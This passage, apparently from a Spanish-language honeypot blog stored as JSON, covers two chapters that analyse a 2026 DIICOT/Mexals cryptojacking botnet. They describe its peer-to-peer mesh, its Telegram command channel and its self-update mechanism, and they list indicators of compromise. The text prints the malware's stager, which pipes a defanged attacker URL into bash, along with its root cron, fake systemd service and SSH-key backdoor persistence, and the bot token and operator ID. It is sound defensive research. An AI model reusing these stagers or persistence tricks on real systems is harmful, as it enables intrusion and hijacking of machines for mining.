https://api.telegram.org/bot8778142498:AAE2YhxC6AB5PF8GOucHxCviYV4FA1JJnIE/getUpdates?offset=0\u0026amp;timeout=30 Host: api.telegram.org User-Agent: skema Tiene su gracia como decisión de diseño. El tráfico va a un dominio legítimo por el que pasa medio mundo, cifrado, y no hay servidor propio que tirar: mientras Telegram funcione, el canal funciona. Ese skema del final es lo único que desentona - un identificador de navegador que no se parece a nada, y que por eso sirve de firma. Y hay un detalle de oficio: no usa el servidor de nombres de la máquina. Se trae el suyo dentro y resuelve el dominio por su cuenta, saltándose el del sistema. Quien vigile su red mirando qué nombres pregunta cada equipo, a éste no lo ve preguntar. Lo siguiente era la pregunta obvia: si el canal es público y el identificador está a la vista, ¿puede mandarle órdenes cualquiera? Le inyecté comandos desde un Telegram de mentira montado dentro de la jaula. Respuesta: lo que contesta a un desconocido{\"chat_id\":…,\"text\":\"Unauthorized.\"} Hay una reja. El bot compara quién manda el mensaje con un número guardado en su interior y, si no coincide, no hace nada. Leerlo exigió bajar al código y después al proceso en marcha: el número vive en un campo concreto de su estructura interna, y ahí estaba. El corazón del bot. Ghidra, con las variables renombradas por mí para que se siga. Solo obedece al chat_id del operador (el campo bot+0x30, resaltado también en el ensamblador); si vale cero, a cualquiera. Debajo, su repertorio de comandos por Telegram, con /update (auto-actualización por la malla). La condición que da escalofríosLa comprobación es literalmente «si el número guardado es cero, o coincide con quien escribe, obedece». Es decir: en un binario donde ese campo se quedara a cero, el bot haría caso a cualquiera que le escriba. En esta muestra estaba puesto, y lo confirmé por las malas - escribiendo desde el número correcto pasa la reja, desde cualquier otro responde Unauthorized. Pero es una botnet a la que, en la compilación equivocada, se le puede dar órdenes desde un teléfono. 06El repertorio, y cómo se llama a sí mismo Pasada la reja, el bot obedece. Éste es su repertorio completo: los comandos, y qué hace cada uno/peers lista los vecinos que conoce /connect ip:port añade uno a mano /leader ip designa quién manda /hub ip designa un supernodo: todos convergen ahí /check ip ¿está esta máquina en la malla? /update reparte un binario nuevo por la malla ← el importante Ese /check merece una pausa. Sirve para preguntarle a la red si una dirección concreta está infectada. Es la herramienta de un operador que quiere saber si ya tiene dentro a un objetivo antes de gastar esfuerzo en él - o si lo ha perdido. Y al pedirle el estado, el bot se presenta. Esto es lo que contesta: el panel de estadoDIICOT-BOTNET Nodes : 1 | Cores: 4 | Miners: 0 RAM : 3.8 GB | Disk: 19.6 GB Ver : v2-update-1 Ahí está la firma, y no me la ha dado ningún antivirus ni ninguna etiqueta de comunidad: el propio programa dice cómo se llama. Lleva el nombre de la familia escrito en su panel de control, junto al recuento de nodos, núcleos y mineros activos - un cuadro de mando para el que cobra. Y trae número de versión. v2-update-1: la segunda generación, primera actualización. Alguien lleva la cuenta. 07La jugada maestra: se cura sola Queda el comando importante. /update no descarga nada de fuera. Hace algo bastante más elegante: La jugada maestra. Con /update el operador reparte un binario nuevo por la malla y los nodos reinician. Matar el token de Telegram no basta. El nodo abre su propio fichero, lo parte en más de mil setecientos trozos y los reparte por la malla. Los demás nodos los recomponen, se quedan con la versión nueva y se reinician solos. No hay servidor de descargas, no hay dominio que bloquear, no hay ni una conexión al exterior: el binario viaja de víctima en víctima. El ciclo que la mantiene viva. Cuando el token cae, /update reparte un binario nuevo por P2P y los nodos reinician con uno distinto. Y ahora júntalo con lo de antes, porque es donde encaja todo. El identificador del bot de Telegram está a la vista de cualquiera que abra la muestra - y Telegram cancela los que se filtran. Cuando eso pasa, el canal muere. Parecería el final. No lo es, porque la malla no depende de Telegram. Los nodos siguen hablando entre ellos, y el cifrado de ese canal usa como semilla el identificador que llevan grabado: sigue valiendo como clave aunque Telegram ya no lo acepte. El operador recupera el mando por ahí, lanza un /update con una compilación nueva (con un identificador nuevo dentro) y la red entera se renueva sola. Lo que esto significa para quien intente tumbarlaLa intuición razonable es: encuentras el identificador del bot, lo denuncias, Telegram lo cancela y te has cargado la botnet. Pues no. Le has quitado el teléfono, no la red. Las máquinas infectadas siguen infectadas, siguen habladas entre ellas y siguen minando; y el operador solo necesita un nodo al que llegar para repartir un binario con un teléfono nuevo. Para tumbar esto de verdad hay que ir a los nodos, uno a uno. No hay un enchufe central que desconectar - que es exactamente para lo que se diseñó así. Lo cual deja una pregunta incómoda sobre la muestra que tengo delante: su identificador ya no funciona. Está cancelado. Y eso, en un bicho recién salido, puede significar dos cosas muy distintas - que la campaña está muerta, o que se renovó hace tiempo y esto es una versión abandonada. 08Indicadores (IOCs) Los de la llegada están en el capítulo 26. Éstos son los del mando. TipoValor Puerto de la mallaTCP 8081 - escucha y se anuncia; objetivo 2.000 conexiones Vecino de arranque91.92.47.220:8081 (NL, ASN 197170 TechTies; en Shodan aparece además como escáner) Servicio «cuál es mi IP»31.57.105.94:42 · respaldos api4.ipify.org e ifconfig.me Canal de mandoapi.telegram.org/bot\u0026lt;id\u0026gt;/getUpdates?offset=N\u0026amp;timeout=30 - con resolutor DNS propio Identificador del bot8778142498:AAE2YhxC6AB5PF8GOucHxCviYV4FA1JJnIE (ya cancelado) User-Agentskema - no se parece a ningún navegador: buena firma de red Número del operador6059167279 - el único autorizado a dar órdenes Comandos/peers /connect /leader /hub /check /update Se identifica comoDIICOT-BOTNET, versión v2-update-1 Fichero de vecinospeers.dat, con la semilla p2p-peers-salt-v1 Mineros que dirigexmrig · ccminer · nbminer · gminer · bminer · t-rex y los algoritmos randomx · kawpow · etchash La detección más barata de todas: una máquina que escucha en el 8081 y habla con otras máquinas cualesquiera por ese puerto. Un servidor normal no hace eso. Y si además sale hacia Telegram con un agente llamado skema, ya no hay duda. Lo que no se hizoTodo esto ocurrió dentro de la jaula, contra servicios de mentira montados ahí mismo y con direcciones de las reservadas para documentación. No se tocó el vecino de arranque, ni el servicio del atacante, ni Telegram de verdad. Las órdenes se inyectaron en un Telegram simulado; ni una salió a la red real. Se mira lo que hace la pieza; no se juega con la de otro. Continuará - quedan dos cabos, y los dos son de dinero. El primero: cómo sé que el identificador está cancelado, que no lo deduje, lo comprobé. Y el segundo, el que de verdad importa - este kit trae dos mineros y ninguno lleva dentro la cartera a la que cobrar. La configuración de minado no viaja con el bicho: la baja después, de un sitio que hay que ir a buscar. Fui. En el Capítulo 28. 🍯","date":"2026-09","fam":"DIICOT","n":27,"spec":"DIICOT / Mexals - variante 2026","sum":"El kit se quedó quieto en el disco, así que lo encendí yo en una jaula sin salida. Dentro hay un bot que exige saber su propia dirección antes de nada, se une a una malla de hasta dos mil nodos, celebra una elección y se corona líder - y solo entonces abre un chat de Telegram. El operador no entra en ninguna máquina: manda un mensaje al jefe de la manada. Y cuando le quemas el chat, la botnet se cura sola.","t":"Solo el líder habla","tags":["ingeniería inversa","Ghidra","botnet","P2P","Telegram","análisis dinámico"],"tipo":"Cryptojacking + botnet P2P (Monero)","url":"/capitulo-27/"},{"body":"Este hilo arranca donde acabó el capítulo del bot. Ya sé cómo entra, qué trae dentro y cómo recibe órdenes. Queda lo que importa de un cryptojacker: a quién le paga. Spoiler, porque prefiero decirlo de entrada que hacerte leer hasta el final para nada: no lo conseguí. Y la razón por la que no lo conseguí es la mejor parte del capítulo. Cómo leer estoTres niveles, separados siempre: visto (lo he comprobado yo), leído (lo dice un tercero) y deducido (interpretación mía). Aquí hacen falta más que nunca, porque la última parte va de atribución - y en atribución la diferencia entre «lo pone en el binario» y «lo dice la comunidad» es toda la diferencia que hay. 01Lo que planta cuando le dejas correr En el cebo no llegó a arrancar. En la jaula sí lo dejé correr, y como root, para ver qué se instala de verdad. Planta tres cosas a la vez, y las tres son para lo mismo: volver. visto la triple persistencia# 1 · cron de root — cuatro entradas, una cada minuto @reboot /var/tmp/\u0026lt;8 hex\u0026gt;/8b8989e8 \u0026amp; disown * * * * * /var/tmp/\u0026lt;8 hex\u0026gt;/8b8989e8 \u0026amp; disown @daily … @monthly … # 2 · un servicio de systemd con nombre de sistema myservices.service → ExecStart=/bin/bash /usr/bin/ssshd Restart=always · RestartSec=1800 # 3 · una llave SSH en la puerta de root /root/.ssh/authorized_keys ← ssh-rsa AAAAB3…nY3w== ElPatrono1337 Merece la pena mirar cada una, porque están pensadas para fallar por separado. El cron revive el cargador cada minuto. Y el directorio donde lo guarda lleva un nombre de ocho caracteres al azar que cambia en cada infección: no vale buscar una ruta concreta, hay que buscar la forma. visto El servicio de systemd se llama myservices.service y lanza algo llamado /usr/bin/ssshd - con tres eses. A ojo, en un listado, eso pasa por el demonio de SSH. No lo es: es el script que va a buscar la segunda etapa, y el servicio lo relanza cada media hora, para siempre. visto Y la llave SSH es la que menos ruido hace y la peor. Si te limpias los procesos, el cron y el servicio, y no miras ese fichero, el atacante sigue entrando por la puerta principal sin contraseña. Va firmada con un nombre: ElPatrono1337. Volveremos a él. Y una cosa que me hizo gracia y da que pensarEn el capítulo 26 conté que el atacante, nada más entrar, pegó un comando larguísimo de limpieza. Al detonar el kit en la jaula apareció ese mismo comando, palabra por palabra, dentro de uno de los módulos. visto O sea que lo que yo había leído como «el intruso escribiendo» no era nadie escribiendo: era el kit ejecutando su propia rutina. La diferencia importa - no había una persona al teclado decidiendo, había una lista. deducido El orden final de la cadena queda así: el dropper suelta los cinco módulos, el escáner hace de orquestador, mueve el cargador y el minero a sus escondites, planta las tres persistencias, y lanza el cargador y el bot. Los dos mineros se quedan quietos, esperando. visto Y ahí está la explicación de un detalle del capítulo anterior que dejé pasar sin comentar: cuando le pedí el estado al bot, su panel decía Miners: 0. No era que la jaula le estorbara. Es que los mineros todavía no sabían a quién pagar. 02Ninguno de los dos mineros sabe a quién pagar Aquí está el hallazgo de diseño, y es el que hace interesante todo lo demás. Barrí los cinco módulos buscando algo con forma de cartera de Monero. Nada. Ni en claro, ni cifrado, ni en ninguno de los cinco. El XMRig que trae es XMRig de serie, sin configurar: el único servidor que lleva escrito es el del propio proyecto de XMRig, que no tiene nada que ver con el atacante. visto ¿Entonces de dónde sale la configuración? Al detonar el cargador se ve: no arranca ningún minero. Lo que hace es escribir un script de seis líneas y ejecutarlo. el stager que escribe el cargador#!/bin/bash if curl -s --connect-timeout 15 hxxp://195.24.237.240/.x/black3; then curl -s hxxp://195.24.237.240/.x/black3 | bash else curl -s hxxp://digital.digitaldatainsights[.]org/.x/black3 | bash fi Eso es todo. Baja un fichero de un servidor del atacante y se lo pasa a la shell. La configuración de minado (el servidor al que conectarse y la cartera a la que abonar) vive ahí fuera, en ese fichero, y solo llega a la máquina en el momento de usarla. visto Por qué esto es más listo que cifrar la carteraEn los kits que he abierto antes, la cartera viajaba dentro del binario, tapada con algún cifrado casero. Eso tiene un problema para el atacante: quien capture una sola muestra tiene su cartera para siempre, y con ella puede mirar cuánto gana, atarle campañas y seguirle la pista. Sacarla del binario lo arregla de un plumazo. Puedes capturar el bicho entero, desempaquetarlo, desofuscarlo y leerte cada línea - y seguir sin saber a quién paga. Para averiguarlo tienes que ir a pedírselo a su servidor, que es justo el gesto que un defensor no siempre puede permitirse. deducido De paso, el cargador deja un fichero tonto en /tmp/.fontconfig/.fc-cache con ocho bytes dentro. No hace nada: es una marca, para que el kit sepa que esa máquina ya es suya. visto 03Fui a buscarlo La pregunta era si ir a por ese fichero. Descargarlo es conectarse al servidor del atacante, y este proyecto tiene una raya ahí: se observa, no se toca. La salida fue hacerlo por Tor - una red que hace pasar la conexión por varios ordenadores intermedios, de modo que quien recibe la petición no ve de dónde sale. No es un truco para esconderse de nadie: es para que, si el servidor del atacante estaba anotando quién le pide cosas, no apuntase ninguna dirección mía. Y con una regla de seguridad por delante: si Tor fallaba, la petición no se hacía - nunca en directo. Tras la segunda etapa por Tor. Fuimos a por la configuración de minado: servidores muertos y dominio en parking. La campaña de este build ya está tumbada. El resultado, en dos vueltas: La primera, contra las dos direcciones que lleva el script. La principal no contestó - probado con tres circuitos distintos, por si era mala suerte de un nodo de salida. La de respaldo, ni siquiera resolvía. visto La segunda fue más interesante, porque antes de rendirme busqué en los archivos públicos que guardan copias de páginas escaneadas. Ahí salió que ese mismo fichero se había servido, en su día, desde más direcciones de las que el script conoce. Las probé todas, también por Tor. Una está muerta. Otra también. Y la tercera contestó - pero lo que devolvió fue una página de aparcamiento: el cartel que pone un registrador cuando un dominio queda suspendido. visto No es que el servidor esté caído un rato. Es que el dominio ya no es suyo. Un detalle de cómo se protegenLos archivos públicos tienen decenas de capturas de esa dirección. Ninguna sirve: lo que guardaron es un Not found! o un binario cualquiera. El servidor solo entregaba el script de verdad a quien lo pedía como lo pide el bicho - con la herramienta concreta que usa el stager. A un escáner automático le daba largas. visto Es un filtro barato y eficaz: mantiene el payload fuera de los repositorios públicos durante toda la campaña. Por eso, cuando la infraestructura cae, lo que se llevó no lo tiene nadie. deducido 04Y el teléfono tampoco contesta Quedaba comprobar la otra mitad. En el capítulo anterior conté que el bot recibe órdenes por un chat de Telegram, y que su identificador va escrito dentro del binario. Dije también que ese identificador estaba cancelado. Toca enseñar cómo lo sé, porque no lo deduje. Telegram tiene una consulta que sirve para preguntarle a la propia plataforma si un bot existe. No lee mensajes, no escribe, no toca la cola de órdenes pendientes y no le llega ningún aviso a su dueño. Es, literalmente, preguntar si el número da línea. la respuesta, dos veces y por caminos distintos{\"ok\":false,\"error_code\":401,\"description\":\"Unauthorized\"} 401. El identificador ya no vale. Lo repetí con un segundo nodo de salida, por si el primero estuviera bloqueado: misma respuesta. Y es una respuesta limpia de Telegram, no un error de red - si el camino estuviera cortado, no llegaría este mensaje. visto Dónde está la raya, y por qué esto se queda de este ladoLa regla de la casa es que la infraestructura del atacante no se toca. Y esto lo he hecho igualmente, así que toca explicarse en vez de disimularlo. La diferencia que consideré suficiente: aquí no se le pregunta nada al atacante, se le pregunta a Telegram - un tercero neutral - si una cuenta sigue viva. No se lee su canal, no se le escribe, no se consume su cola de mensajes y no se le notifica. Una sola consulta, de solo lectura, por Tor y desde una máquina que no es la mía. Lo que sigue prohibido, y no se ha hecho: pedir los mensajes, mandar una orden, o tocar la malla. Publicar el identificador es una cosa; usarlo, otra. Y ese 401 encaja con lo del capítulo anterior como una pieza. El identificador está a la vista de cualquiera que abra la muestra; Telegram cancela los que se filtran; y el operador ya tenía previsto eso - por algo el bot sabe repartirse a sí mismo por la malla. Le tiraron el teléfono, y la botnet tenía un plan para eso. deducido 05Quién hay detrás, y qué parte puedo demostrar Aquí hay que ir despacio, porque es donde más fácil es colar una afirmación prestada. Lo que sale del binario, y por tanto puedo enseñar: el bot se presenta a sí mismo como DIICOT-BOTNET en su panel de estado; uno de los módulos y sus rutas se llaman diicot; y la llave SSH que planta va firmada ElPatrono1337. Tres cosas, las tres dentro de la muestra. visto Lo que no sale del binario y he tenido que ir a buscar fuera: que ese nombre corresponde a una campaña conocida como color1337, y que el grupo se asocia con el nombre Mexals, documentado desde 2023. Eso no está en mi muestra: lo dice la comunidad, y yo me limito a repetirlo citando de dónde. leído La atadura entre lo uno y lo otro sí es sólida, y no es solo el nombre. Lo que describen esos informes de 2023 coincide pieza por pieza con lo que acabo de desenterrar: el servicio myservices.service, el /usr/bin/ssshd que se relanza cada media hora, el fichero de objetivos, la llave firmada igual. Es el mismo kit. leído deducido Lo que cambia es lo que este capítulo y el anterior han contado: la misma familia, tres años después lo documentado (2023) esta muestra (2026) mando webhooks de Discord bot de Telegram topología cliente → servidor malla P2P con elección de líder binarios sin ofuscar ofuscados y empaquetados actualización — se reparte por la propia malla Mismo actor, mismas manías, mismo nombre en la llave. Capa de mando reconstruida entera. Eso es lo que aporta el caso - no descubrir al actor, que lleva años publicado, sino enseñar en qué se ha convertido. deducido Y una etiqueta que conviene no creerseEl motor de un servicio de análisis muy conocido clasifica el dropper como una familia distinta (una botnet P2P famosa) y lo hace, sospecho, solo porque ve la parte de red entre iguales. leído No cuadra con nada más: esa otra familia no lleva diccionario de contraseñas con Huawei@123, ni los ficheros que éste deja, ni mando por Telegram. Es un recordatorio de que las etiquetas automáticas describen rasgos, no autores - y de que un rasgo llamativo arrastra la clasificación entera. deducido 06Lo que no puedo demostrar Cinco cosas, y la primera es la que da título al capítulo. La cartera. No la tengo, y no la voy a tener con esta muestra. No es que no supiera buscarla: no está dentro, por diseño, y el sitio donde estaba ya no existe. Si algún día ese fichero aparece en un repositorio público, se reabre. Mientras tanto es un hueco, y prefiero dejarlo escrito a rellenarlo con una cifra de otro sitio. Si la campaña está muerta o solo este build. Lo que puedo afirmar es lo que he tocado: este identificador está cancelado y esta segunda etapa está desmantelada. De la malla no sé nada - podría seguir funcionando con una versión más nueva ahora mismo, y no tendría forma pasiva de enterarme. Cuántas máquinas hay. El bot se propone dos mil conexiones, pero eso es una intención escrita en el código, no un censo. Contar la malla exigiría hablar su protocolo, que está autenticado - y eso ya sería meterse dentro. No se ha hecho. Qué hace el escáner cuando busca víctimas. Sé lo que es y sé qué diccionario lleva. No lo he dejado escanear, ni un segundo: eso sería lanzar fuerza bruta contra máquinas de terceros desde aquí, y no hay resultado que lo justifique. Cómo se reparte exactamente el binario nuevo. Vi que se trocea y se propaga, y vi a los nodos reiniciarse. El protocolo de transferencia por dentro, no lo he desmontado. 07Indicadores (IOCs) La llegada está en el capítulo 26 y el mando en el 27. Éstos son los de lo que planta y lo que va a buscar. TipoValor Servicio falsomyservices.service → /bin/bash /usr/bin/ssshd · reinicio cada 1.800 s Fichero disfrazado/usr/bin/ssshd - con tres eses; es el stager, no el demonio SSH Cron de root@reboot · @daily · @monthly · * * * * * → /var/tmp/\u0026lt;8 hex\u0026gt;/8b8989e8 (el directorio cambia en cada infección) Backdoor SSHclave en /root/.ssh/authorized_keys con el comentario ElPatrono1337 Marcadores en disco/tmp/.fontconfig/.fc-cache · /var/tmp/.ladyg0g0/.pr1nc35 · /var/tmp/Documents/.diicot Stager/tmp/.c - sha256 2bcc91fdedb8c583a9fe883be9ad453333a1bba0fdf655474982db3cbb8e7a74 Segunda etapahxxp://195.24.237.240/.x/black3 · respaldo hxxp://digital.digitaldatainsights[.]org/.x/black3 (ambos caídos a 19-sep-2026) Distribución histórica52.223.13.41 (hoy parking) · 80.76.51.5 (muerta) · test.digitaldatainsights[.]org:7777 (muerta) Handles del actorElPatrono1337 · ladyg0g0 · .pr1nc35 Si tuviera que quedarme con tres para vigilar una flota: un servicio llamado myservices, un fichero ssshd con tres eses y una entrada de cron que se ejecuta cada minuto. Las tres se buscan en un segundo y ninguna tiene motivo para existir en una máquina sana. Continuará - la familia lleva desde 2021 cobrando y no ha parado: cambió el mando de Discord a Telegram, se montó una malla que se cura sola y se sacó la cartera de dentro del bicho para que nadie pueda seguirla. Cada vuelta que da es una puerta que se cierra para quien investiga. Del kit me quedan dos piezas sin abrir del todo (el que busca víctimas y el protocolo de la malla), y el cebo sigue encendido. 🍯","date":"2026-09","fam":"DIICOT","n":28,"spec":"DIICOT / Mexals - variante 2026","sum":"Los dos capítulos anteriores dejaron el kit desmontado pieza a pieza, y una pregunta sin responder: a quién le paga. Fui a buscarlo. Y me encontré con un diseño que lo impide - la configuración de minado no viaja nunca dentro del bicho, se descarga después - y con un andamio que alguien ya había desmontado. Esto es la persecución, lo que sí planta cuando le dejas correr, y hasta dónde llega lo que puedo demostrar sobre quién hay detrás.","t":"La cartera que nunca viaja","tags":["OSINT","cryptojacking","Monero","atribución","investigación"],"tipo":"Cryptojacking + botnet P2P (Monero)","url":"/capitulo-28/"}]